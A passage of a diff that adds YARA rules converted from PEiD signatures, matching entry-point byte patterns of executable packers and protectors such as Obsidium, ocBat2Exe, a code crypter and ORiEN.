+        $a = {EB 02 ?? ?? E8 29 00 00 00 EB 03 ?? ?? ?? EB 02 ?? ?? 8B 54 24 0C EB 03 ?? ?? ?? 83 82 B8 00 00 00 25 EB 02 ?? ?? 33 C0 EB 02 ?? ?? C3 EB 03 ?? ?? ?? EB 01 ?? 64 67 FF 36 00 00 EB 02 ?? ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 04 ?? ?? ?? ?? 50 EB 02 ?? ?? 33 C0 EB 01 ?? 8B 00 EB 04 ?? ?? ?? ?? C3 EB 03 ?? ?? ?? E9 FA 00 00 00 EB 02 ?? ?? E8 D5 FF FF FF EB 02 ?? ?? EB 03 ?? ?? ?? 58 EB 02 ?? ?? EB 03 ?? ?? ?? 64 67 8F 06 00 00 EB 03}
+    condition:
+        $a
+}
+
+rule PEiD_01390_Obsidium_1_3_3_6____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium 1.3.3.6 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 04 ?? ?? ?? ?? E8 28 00 00 00 EB 01 ?? ?? ?? ?? ?? ?? ?? 8B 54 24 0C EB 01 ?? 83 82 B8 00 00 00 26 EB 04 ?? ?? ?? ?? 33 C0 EB 01 ?? C3 EB 03 ?? ?? ?? EB 04 ?? ?? ?? ?? 64 67 FF 36 00 00 EB 04 ?? ?? ?? ?? 64 67 89 26 00 00 EB 03 ?? ?? ?? EB 04}
+    condition:
+        $a
+}
+
+rule PEiD_01391_Obsidium_1_3_3_6____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium 1.3.3.6 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 04 ?? ?? ?? ?? E8 28 00 00 00 EB 01 ?? ?? ?? ?? ?? ?? ?? 8B 54 24 0C EB 01 ?? 83 82 B8 00 00 00 26 EB 04 ?? ?? ?? ?? 33 C0 EB 01 ?? C3 EB 03 ?? ?? ?? EB 04 ?? ?? ?? ?? 64 67 FF 36 00 00 EB 04 ?? ?? ?? ?? 64 67 89 26 00 00 EB 03 ?? ?? ?? EB 04 ?? ?? ?? ?? 50 EB 01 ?? 33 C0 EB 02 ?? ?? 8B 00 EB 04 ?? ?? ?? ?? C3 EB 04 ?? ?? ?? ?? E9 FA 00 00 00 EB 03 ?? ?? ?? E8 D5 FF FF FF EB 01 ?? EB 03 ?? ?? ?? 58 EB 02 ?? ?? EB 04 ?? ?? ?? ?? 64 67 8F 06 00 00 EB 04}
+    condition:
+        $a
+}
+
+rule PEiD_01392_Obsidium_1_3_3_7__2007_06_23_____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium 1.3.3.7 (2007.06.23) -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 ?? ?? E8 27 00 00 00 EB 03 ?? ?? ?? EB 01 ?? 8B 54 24 0C EB 03 ?? ?? ?? 83 82 B8 00 00 00 23 EB 03 ?? ?? ?? 33 C0 EB 02 ?? ?? C3 EB 01 ?? EB 03 ?? ?? ?? 64 67 FF 36 00 00 EB 04 ?? ?? ?? ?? 64 67 89 26 00 00 EB 01 ?? EB 01 ?? 50 EB 02 ?? ?? 33 C0 EB 01 ?? 8B 00 EB 04 ?? ?? ?? ?? C3 EB 02 ?? ?? E9 FA 00 00 00 EB 04 ?? ?? ?? ?? E8 D5 FF FF FF EB 01 ?? EB 01 ?? 58 EB 04 ?? ?? ?? ?? EB 01 ?? 64 67 8F 06 00 00 EB 02 ?? ?? 83 C4 04 EB 01 ?? E8 F7 26 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01393_Obsidium_1_3_3_7____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium 1.3.3.7 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 ?? ?? E8 2C 00 00 00 EB 04 ?? ?? ?? ?? EB 04 ?? ?? ?? ?? 8B 54 24 0C EB 02 ?? ?? 83 82 B8 00 00 00 27 EB 04 ?? ?? ?? ?? 33 C0 EB 02 ?? ?? C3 EB 02 ?? ?? EB 03 ?? ?? ?? 64 67 FF 36 00 00 EB 04 ?? ?? ?? ?? 64 67 89 26 00 00 EB 03 ?? ?? ?? EB 01 ?? 50 EB 02 ?? ?? 33 C0 EB 02 ?? ?? 8B 00 EB 04 ?? ?? ?? ?? C3 EB 02 ?? ?? E9 FA 00 00 00 EB 04 ?? ?? ?? ?? E8 D5 FF FF FF EB 02 ?? ?? EB 04 ?? ?? ?? ?? 58 EB 04 ?? ?? ?? ?? EB 03 ?? ?? ?? 64 67 8F 06 00 00 EB 01 ?? 83 C4 04 EB 03 ?? ?? ?? E8 23 27 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01394_Obsidium_1_3_3_8____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium 1.3.3.8 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 04 ?? ?? ?? ?? E8 28 00 00 00 EB 01 ?? EB 01 ?? 8B 54 24 0C EB 04 ?? ?? ?? ?? 83 82 B8 00 00 00 ?? EB 04 ?? ?? ?? ?? 33 C0 EB 03 ?? ?? ?? C3 EB 01 ?? EB 01 ?? 64 67 FF 36 00 00 EB 03 ?? ?? ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 01 ?? 50 EB 04}
+    condition:
+        $a
+}
+
+rule PEiD_01395_Obsidium_1_3_3_8____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium 1.3.3.8 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 04 ?? ?? ?? ?? E8 28 00 00 00 EB 01 ?? EB 01 ?? 8B 54 24 0C EB 04 ?? ?? ?? ?? 83 82 B8 00 00 00 ?? EB 04 ?? ?? ?? ?? 33 C0 EB 03 ?? ?? ?? C3 EB 01 ?? EB 01 ?? 64 67 FF 36 00 00 EB 03 ?? ?? ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 01 ?? 50 EB 04 ?? ?? ?? ?? 33 C0 EB 02 ?? ?? 8B 00 EB 03 ?? ?? ?? C3 EB 03 ?? ?? ?? E9 FA 00 00 00 EB 03 ?? ?? ?? E8 D5 FF FF FF EB 02 ?? ?? EB 04 ?? ?? ?? ?? 58 EB 04 ?? ?? ?? ?? EB 02 ?? ?? 64 67 8F 06 00 00 EB 04 ?? ?? ?? ?? 83 C4 04 EB 04 ?? ?? ?? ?? E8 57 27 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01396_Obsidium_1_3_3_9____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium 1.3.3.9 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 ?? ?? E8 29 00 00 00 EB 03 ?? ?? ?? EB 01 ?? 8B 54 24 0C EB 04 ?? ?? ?? ?? 83 82 B8 00 00 00 28 EB 02 ?? ?? 33 C0 EB 02 ?? ?? C3 EB 03 ?? ?? ?? EB 04 ?? ?? ?? ?? 64 67 FF 36 00 00 EB 03 ?? ?? ?? 64 67 89 26 00 00 EB 01 ?? EB 01 ?? 50 EB 03}
+    condition:
+        $a
+}
+
+rule PEiD_01397_Obsidium_1_3_3_9____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium 1.3.3.9 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 ?? ?? E8 29 00 00 00 EB 03 ?? ?? ?? EB 01 ?? 8B 54 24 0C EB 04 ?? ?? ?? ?? 83 82 B8 00 00 00 28 EB 02 ?? ?? 33 C0 EB 02 ?? ?? C3 EB 03 ?? ?? ?? EB 04 ?? ?? ?? ?? 64 67 FF 36 00 00 EB 03 ?? ?? ?? 64 67 89 26 00 00 EB 01 ?? EB 01 ?? 50 EB 03 ?? ?? ?? 33 C0 EB 03 ?? ?? ?? 8B 00 EB 04 ?? ?? ?? ?? C3 EB 04 ?? ?? ?? ?? E9 FA 00 00 00 EB 03 ?? ?? ?? E8 D5 FF FF FF EB 02 ?? ?? EB 04 ?? ?? ?? ?? 58 EB 03 ?? ?? ?? EB 04 ?? ?? ?? ?? 64 67 8F 06 00 00 EB 03 ?? ?? ?? 83 C4 04 EB 04 ?? ?? ?? ?? E8 CF 27 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01398_Obsidium_1_3_4_1____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium 1.3.4.1 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 ?? E8 2A 00 00 00 EB 04 ?? ?? ?? ?? EB 02 ?? ?? 8B 54 24 0C EB 03 ?? ?? ?? 83 82 B8 00 00 00 21 EB 02 ?? ?? 33 C0 EB 03 ?? ?? ?? C3 EB 02 ?? ?? EB 01 ?? 64 67 FF 36 00 00 EB 01 ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 03 ?? ?? ?? 50 EB 04 ?? ?? ?? ?? 33}
+    condition:
+        $a
+}
+
+rule PEiD_01399_Obsidium_1_3_4_1____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium 1.3.4.1 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 ?? E8 2A 00 00 00 EB 04 ?? ?? ?? ?? EB 02 ?? ?? 8B 54 24 0C EB 03 ?? ?? ?? 83 82 B8 00 00 00 21 EB 02 ?? ?? 33 C0 EB 03 ?? ?? ?? C3 EB 02 ?? ?? EB 01 ?? 64 67 FF 36 00 00 EB 01 ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 03 ?? ?? ?? 50 EB 04 ?? ?? ?? ?? 33 C0 EB 02 ?? ?? 8B 00 EB 04 ?? ?? ?? ?? C3 EB 02 ?? ?? E9 FA 00 00 00 EB 02 ?? ?? E8 D5 FF FF FF EB 01 ?? EB 01 ?? 58 EB 03 ?? ?? ?? EB 04 ?? ?? ?? ?? 64 67 8F 06 00 00 EB 04 ?? ?? ?? ?? 83 C4 04 EB 02 ?? ?? E8 C3 27 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01400_Obsidium_v1_0_0_61_
+{
+    meta:
+        description = "[Obsidium v1.0.0.61]"
+        ep_only = "true"
+    strings:
+        $a = {E8 AF 1C 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01401_Obsidium_v1_1_1_1_
+{
+    meta:
+        description = "[Obsidium v1.1.1.1]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 ?? ?? E8 E7 1C 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01402_Obsidium_V1_2____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium V1.2 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 ?? ?? E8 77 1E 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01403_Obsidium_V1_2_5_8____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium V1.2.5.8 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 ?? E8 ?? 00 00 00}
+    condition:
+        $a
+}
+rule PEiD_01404_Obsidium_V1_2_5_8_V1_3_3_X____Obsidium_Software___Sign_by_fly_
+{
+    meta:
+        description = "[Obsidium V1.2.5.8-V1.3.3.X -> Obsidium Software ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 ?? E8 ?? 00 00 00 EB 02 ?? ?? EB}
+    condition:
+        $a
+}
+
+rule PEiD_01405_Obsidium_V1_2_X____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium V1.2.X -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {E8 0E 00 00 00 33 C0 8B 54 24 0C 83 82 B8 00 00 00 0D C3 64 67 FF 36 00 00 64 67 89 26 00 00 50 33 C0 8B 00 C3 E9 FA 00 00 00 E8 D5 FF FF FF 58 64 67 8F 06 00 00 83 C4 04 E8 2B 13 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01406_Obsidium_V1_25____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium V1.25 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {E8 0E 00 00 00 8B 54 24 0C 83 82 B8 00 00 00 0D 33 C0 C3}
+    condition:
+        $a
+}
+
+rule PEiD_01407_Obsidium_v1_3_0_0____Obsidium_Software__h__
+{
+    meta:
+        description = "[Obsidium v1.3.0.0 -> Obsidium Software (h)]"
+        ep_only = "true"
+    strings:
+        $a = {EB 04 25 80 34 CA E8 29 00 00 00 EB 02 C1 81 EB 01 3A 8B 54 24 0C EB 02 32 92 83 82 B8 00 00 00 22 EB 02 F2 7F 33 C0 EB 04 65 7E 14 79 C3 EB 04 05 AD 7F 45 EB 04 05 65 0B E8 64 67 FF 36 00 00 EB 04 0D F6 A8 7F 64 67 89 26 00 00 EB 04 8D 68 C7 FB EB 01 6B 50 EB 03 8A 0B 93 33 C0 EB 02 28 B9 8B 00 EB 01 04 C3 EB 04 65 B3 54 0A E9 FA 00 00 00 EB 01 A2 E8 D5 FF FF FF EB 02 2B 49 EB 03 7C 3E 76 58 EB 04 B8 94 92 56 EB 01 72 64 67 8F 06 00 00 EB 02 23 72 83 C4 04 EB 02 A9 CB E8 47 26 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01408_Obsidium_V1_3_0_0____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium V1.3.0.0 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 04 ?? ?? ?? ?? E8 29 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01409_Obsidium_V1_3_0_0____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium V1.3.0.0 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 04 ?? ?? ?? ?? E8 29 00 00 00 EB 02 ?? ?? EB 01 ?? 8B 54 24 0C EB 02 ?? ?? 83 82 B8 00 00 00 22 EB 02 ?? ?? 33 C0 EB 04 ?? ?? ?? ?? C3 EB 04 ?? ?? ?? ?? EB 04 ?? ?? ?? ?? 64 67 FF 36 00 00 EB 04 ?? ?? ?? ?? 64 67 89 26 00 00 EB 04 ?? ?? ?? ?? EB 01}
+    condition:
+        $a
+}
+
+rule PEiD_01410_Obsidium_V1_3_0_0____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium V1.3.0.0 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 04 ?? ?? ?? ?? E8 ?? 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01411_Obsidium_v1_3_0_37____Obsidium_Software__h__
+{
+    meta:
+        description = "[Obsidium v1.3.0.37 -> Obsidium Software (h)]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 ?? ?? E8 26 00 00 00 EB 03 ?? ?? ?? EB 01 ?? 8B 54 24 0C EB 04 ?? ?? ?? ?? 83 82 B8 00 00 00 26 EB 01 ?? 33 C0 EB 02 ?? ?? C3 EB 01 ?? EB 04 ?? ?? ?? ?? 64 67 FF 36 00 00 EB 01 ?? 64 67 89 26 00 00 EB 01 ?? EB 03 ?? ?? ?? 50 EB 03 ?? ?? ?? 33 C0 EB}
+    condition:
+        $a
+}
+
+rule PEiD_01412_Obsidium_v1_3_0_37____Obsidium_Software__h__
+{
+    meta:
+        description = "[Obsidium v1.3.0.37 -> Obsidium Software (h)]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 ?? ?? E8 26 00 00 00 EB 03 ?? ?? ?? EB 01 ?? 8B 54 24 0C EB 04 ?? ?? ?? ?? 83 82 B8 00 00 00 26 EB 01 ?? 33 C0 EB 02 ?? ?? C3 EB 01 ?? EB 04 ?? ?? ?? ?? 64 67 FF 36 00 00 EB 01 ?? 64 67 89 26 00 00 EB 01 ?? EB 03 ?? ?? ?? 50 EB 03 ?? ?? ?? 33 C0 EB 03 ?? ?? ?? 8B 00 EB 04 ?? ?? ?? ?? C3 EB 03 ?? ?? ?? E9 FA 00 00 00 EB 03 ?? ?? ?? E8 D5 FF FF FF EB 04 ?? ?? ?? ?? EB 01 ?? 58 EB 02 ?? ?? EB 03 ?? ?? ?? 64 67 8F 06 00 00 EB 01 ?? 83 C4 04 EB 03 ?? ?? ?? E8 23 27}
+    condition:
+        $a
+}
+
+rule PEiD_01413_Obsidium_v1_3_0_4____Obsidium_Software__h__
+{
+    meta:
+        description = "[Obsidium v1.3.0.4 -> Obsidium Software (h)]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 ?? ?? E8 25 00 00 00 EB 04 ?? ?? ?? ?? EB 01 ?? 8B 54 24 0C EB 01 ?? 83 82 B8 00 00 00 23 EB 01 ?? 33 C0 EB 02 ?? ?? C3 EB 02 ?? ?? EB 04 ?? ?? ?? ?? 64 67 FF 36 00 00 EB 03 ?? ?? ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 01 ?? 50 EB 01 ?? 33 C0 EB 01 ?? 8B 00 EB 01 ?? C3 EB 02 ?? ?? E9 FA 00 00 00 EB 02 ?? ?? E8 D5 FF FF FF EB 03 ?? ?? ?? EB 04 ?? ?? ?? ?? 58 EB 02 ?? ?? EB 04 ?? ?? ?? ?? 64 67 8F 06 00 00 EB 03 ?? ?? ?? 83 C4 04 EB 01 ?? E8 3B 26 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01414_Obsidium_V1_3_0_4____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium V1.3.0.4 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 ?? ?? E8 ?? 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01415_Obsidium_V1_3_0_X____Obsidium_Software___Sign_by_fly_
+{
+    meta:
+        description = "[Obsidium V1.3.0.X -> Obsidium Software ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {EB 03 ?? ?? ?? E8 2E 00 00 00 EB 04 ?? ?? ?? ?? EB 04 ?? ?? ?? ?? 8B ?? ?? ?? EB 04 ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? EB 01 ?? 33 C0 EB 04 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_01416_Obsidium_V1_3_1_1____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium V1.3.1.1 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 ?? ?? E8 27 00 00 00 EB 02 ?? ?? EB 03 ?? ?? ?? 8B 54 24 0C EB 01 ?? 83 82 B8 00 00 00 22 EB 04 ?? ?? ?? ?? 33 C0 EB 01 ?? C3 EB 02 ?? ?? EB 02 ?? ?? 64 67 FF 36 00 00 EB 04 ?? ?? ?? ?? 64 67 89 26 00 00 EB 01 ?? EB 03 ?? ?? ?? 50 EB 03 ?? ?? ?? 33}
+    condition:
+        $a
+}
+
+rule PEiD_01417_Obsidium_V1_3_2_2____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium V1.3.2.2 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 04 ?? ?? ?? ?? E8 2A 00 00 00 EB 03 ?? ?? ?? EB 04 ?? ?? ?? ?? 8B 54 24 0C EB 02 ?? ?? 83 82 B8 00 00 00 26 EB 04 ?? ?? ?? ?? 33 C0 EB 02 ?? ?? C3 EB 01 ?? EB 03 ?? ?? ?? 64 67 FF 36 00 00 EB 02 ?? ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 01 ?? 50 EB 04}
+    condition:
+        $a
+}
+
+rule PEiD_01418_Obsidium_v1_3_3_1____Obsidium_Software__h__
+{
+    meta:
+        description = "[Obsidium v1.3.3.1 -> Obsidium Software (h)]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 ?? E8 29 00 00 00 EB 02 ?? ?? EB 03 ?? ?? ?? 8B 54 24 0C EB 02 ?? ?? 83 82 B8 00 00 00 24 EB 04 ?? ?? ?? ?? 33 C0 EB 02 ?? ?? C3 EB 02 ?? ?? EB 02 ?? ?? 64 67 FF 36 00 00 EB 04 ?? ?? ?? ?? 64 67 89 26 00 00 EB 01 ?? EB 02 ?? ?? 50 EB 01 ?? 33 C0 EB}
+    condition:
+        $a
+}
+rule PEiD_01419_Obsidium_V1_3_3_3____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium V1.3.3.3 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 ?? ?? E8 29 00 00 00 EB 03 ?? ?? ?? EB 03 ?? ?? ?? 8B ?? 24 0C EB 01 ?? 83 ?? B8 00 00 00 28 EB 03 ?? ?? ?? 33 C0 EB 01 ?? C3 EB 04 ?? ?? ?? ?? EB 02 ?? ?? 64 67 FF 36 00 00 EB 04 ?? ?? ?? ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 04 ?? ?? ?? ?? 50 EB 04}
+    condition:
+        $a
+}
+
+rule PEiD_01420_Obsidium_V1_3_3_4____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium V1.3.3.4 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 ?? ?? E8 29 00 00 00 EB 03 ?? ?? ?? EB 02 ?? ?? 8B 54 24 0C EB 03 ?? ?? ?? 83 82 B8 00 00 00 25 EB 02 ?? ?? 33 C0 EB 02 ?? ?? C3 EB 03 ?? ?? ?? EB 01 ?? 64 67 FF 36 00 00 EB 02 ?? ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 04 ?? ?? ?? ?? 50 EB 02 ?? ?? 33}
+    condition:
+        $a
+}
+
+rule PEiD_01421_Obsidium_V1_3_3_7____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium V1.3.3.7 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 ?? ?? E8 2C 00 00 00 EB 04 ?? ?? ?? ?? EB 04 ?? ?? ?? ?? 8B 54 24 0C EB 02 ?? ?? 83 82 B8 00 00 00 27 EB 04 ?? ?? ?? ?? 33 C0 EB 02 ?? ?? C3 EB 02 ?? ?? EB 03 ?? ?? ?? 64 67 FF 36 00 00 EB 04 ?? ?? ?? ?? 64 67 89 26 00 00 EB 03 ?? ?? ?? EB 01 ?? 50}
+    condition:
+        $a
+}
+
+rule PEiD_01422_Obsidium_V1_3_4_2____Obsidium_Software_nbsp___nbsp___Sign_By_fly_
+{
+    meta:
+        description = "[Obsidium V1.3.4.2 -> Obsidium Software&nbsp; &nbsp;* Sign.By.fly]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 ?? ?? E8 26 00 00 00 EB 03 ?? ?? ?? EB 01 ?? 8B 54 24 0C EB 02 ?? ?? 83 82 B8 00 00 00 24 EB 03 ?? ?? ?? 33 C0 EB 01 ?? C3 EB 02 ?? ?? EB 02 ?? ?? 64 67 FF 36 00 00 EB 03 ?? ?? ?? 64 67 89 26 00 00 EB 03 ?? ?? ?? EB 03 ?? ?? ?? 50 EB 04 ?? ?? ?? ?? 33 C0 EB 03 ?? ?? ?? 8B 00 EB 03 ?? ?? ?? C3 EB 03 ?? ?? ?? E9 FA 00 00 00 EB 03 ?? ?? ?? E8 D5 FF FF FF EB 01 ?? EB 03 ?? ?? ?? 58 EB 04 ?? ?? ?? ?? EB 04 ?? ?? ?? ?? 64 67 8F 06 00 00 EB 04 ?? ?? ?? ?? 83 C4 04 EB 01 ?? E8 C3 27 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01423_Obsidium_V1_3_5_0____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium V1.3.5.0 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 03 ?? ?? ?? E8 ?? ?? ?? ?? EB 02 ?? ?? EB 04 ?? ?? ?? ?? 8B 54 24 0C EB 04 ?? ?? ?? ?? 83 82 B8 00 00 00 20 EB 03 ?? ?? ?? 33 C0 EB 01 ?? C3 EB 02 ?? ?? EB 03 ?? ?? ?? 64 67 FF 36 00 00 EB 03 ?? ?? ?? 64 67 89 26 00 00 EB 01 ?? EB 04 ?? ?? ?? ?? 50 EB 04 ?? ?? ?? ?? 33 C0 EB 04 ?? ?? ?? ?? 8B 00 EB 03 ?? ?? ?? C3 EB 02 ?? ?? E9 FA 00 00 00 EB 01 ?? E8 ?? ?? ?? ?? EB 01 ?? EB 02 ?? ?? 58 EB 04 ?? ?? ?? ?? EB 02 ?? ?? 64 67 8F 06 00 00 EB 02 ?? ?? 83 C4 04 EB 01 ?? E8}
+    condition:
+        $a
+}
+
+rule PEiD_01424_Obsiduim_1_3_0_4____Obsiduim_Software_
+{
+    meta:
+        description = "[Obsiduim 1.3.0.4 -> Obsiduim Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 ?? ?? E8 25 00 00 00 EB 04 ?? ?? ?? ?? EB 01 ?? 8B 54 24 0C EB 01 ?? 83 82 B8 00 00 00 23 EB 01 ?? 33 C0 EB 02 ?? ?? C3 EB 02 ?? ?? EB 04 ?? ?? ?? ?? 64 67 FF 36 00 00 EB 03 ?? ?? ?? 64}
+    condition:
+        $a
+}
+
+rule PEiD_01425_ocBat2Exe_1_0____OC_
+{
+    meta:
+        description = "[ocBat2Exe 1.0 -> OC]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC B9 08 00 00 00 6A 00 6A 00 49 75 F9 53 56 57 B8 58 3C 40 00 E8 6C FA FF FF 33 C0 55 68 8A 3F 40 00 64 FF 30 64 89 20 6A 00 6A 00 6A 03 6A 00 6A 01 68 00 00 00 80 8D 55 EC 33 C0 E8 81 E9 FF FF 8B 45 EC E8 41 F6 FF FF 50 E8 F3 FA FF FF 8B F8 83 FF FF 0F 84 83 02 00 00 6A 02 6A 00 6A EE 57 E8 FC FA FF FF 6A 00 68 60 99 4F 00 6A 12 68 18 57 40 00 57 E8 E0 FA FF FF 83 3D 60 99 4F 00 12 0F 85 56 02 00 00 8D 45 E4 50 8D 45 E0 BA 18 57 40 00 B9 40 42 0F 00 E8 61 F4 FF FF 8B 45 E0 B9 12 00 00 00 BA 01 00 00 00 E8 3B F6 FF FF 8B 45 E4 8D 55 E8 E8 04 FB ?? ?? ?? ?? E8 B8 58 99 4F 00 E8 67 F3 FF FF 33 C0 A3 60 99 4F 00 8D 45 DC 50 B9 05 00 00 00 BA 01 00 00 00 A1 58 99 4F 00 E8 04 F6 FF FF 8B 45 DC BA A4 3F 40 00 E8 E3 F4 FF FF}
+    condition:
+        $a
+}
+
+rule PEiD_01426_Open_Source_Code_Crypter____p0ke_
+{
+    meta:
+        description = "[Open Source Code Crypter -> p0ke]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC B9 09 00 00 00 6A 00 6A 00 49 75 F9 53 56 57 B8 34 44 40 00 E8 28 F8 FF FF 33 C0 55 68 9F 47 40 00 64 FF 30 64 89 20 BA B0 47 40 00 B8 1C 67 40 00 E8 07 FD FF FF 8B D8 85 DB 75 07 6A 00 E8 C2 F8 FF FF BA 28 67 40 00 8B C3 8B 0D 1C 67 40 00 E8 F0}
+    condition:
+        $a
+}
+
+rule PEiD_01427_Open_Source_Code_Crypter____p0ke_
+{
+    meta:
+        description = "[Open Source Code Crypter -> p0ke]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC B9 09 00 00 00 6A 00 6A 00 49 75 F9 53 56 57 B8 34 44 40 00 E8 28 F8 FF FF 33 C0 55 68 9F 47 40 00 64 FF 30 64 89 20 BA B0 47 40 00 B8 1C 67 40 00 E8 07 FD FF FF 8B D8 85 DB 75 07 6A 00 E8 C2 F8 FF FF BA 28 67 40 00 8B C3 8B 0D 1C 67 40 00 E8 F0 E0 FF FF BE 01 00 00 00 B8 2C 68 40 00 E8 E1 F0 FF FF BF 0A 00 00 00 8D 55 EC 8B C6 E8 92 FC FF FF 8B 4D EC B8 2C 68 40 00 BA BC 47 40 00 E8 54 F2 FF FF A1 2C 68 40 00 E8 52 F3 FF FF 8B D0 B8 20 67 40 00 E8 A2 FC FF FF 8B D8 85 DB 0F 84 52 02 00 00 B8 24 67 40 00 8B 15 20 67 40 00 E8 78 F4 FF FF B8 24 67 40 00 E8 7A F3 FF FF 8B D0 8B C3 8B 0D 20 67 40 00 E8 77 E0 FF FF 8D 55 E8 A1 24 67 40 00 E8 42 FD FF FF 8B 55 E8 B8 24 67 40 00}
+    condition:
+        $a
+}
+
+rule PEiD_01428_ORiEN_2_11__DEMO__
+{
+    meta:
+        description = "[ORiEN 2.11 (DEMO)]"
+        ep_only = "false"
+    strings:
+        $a = {E9 5D 01 00 00 CE D1 CE CE 0D 0A 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 0D 0A 2D 20 4F 52 69 45 4E 20 65 78 65 63 75 74 61 62 6C 65 20 66 69 6C 65 73 20 70 72 6F}
+    condition:
+        $a
+}
+
+rule PEiD_01429_ORiEN_2_11___2_12____Fisun_Alexander_
+{
+    meta:
+        description = "[ORiEN 2.11 - 2.12 -> Fisun Alexander]"
+        ep_only = "false"
+    strings:
+        $a = {E9 5D 01 00 00 CE D1 CE ?? 0D 0A 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 0D 0A 2D 20 4F 52 69 45 4E 20 65 78 65 63 75 74 61 62 6C 65 20 66 69 6C 65 73 20 70 72 6F}
+    condition:
+        $a
+}
+
+rule PEiD_01430_ORiEN_V1_X_V2_X____Fisun_A_V____Sign_by_fly_
+{
+    meta:
+        description = "[ORiEN V1.X-V2.X -> Fisun A.V. ! Sign by fly]"
+        ep_only = "false"
+    strings:
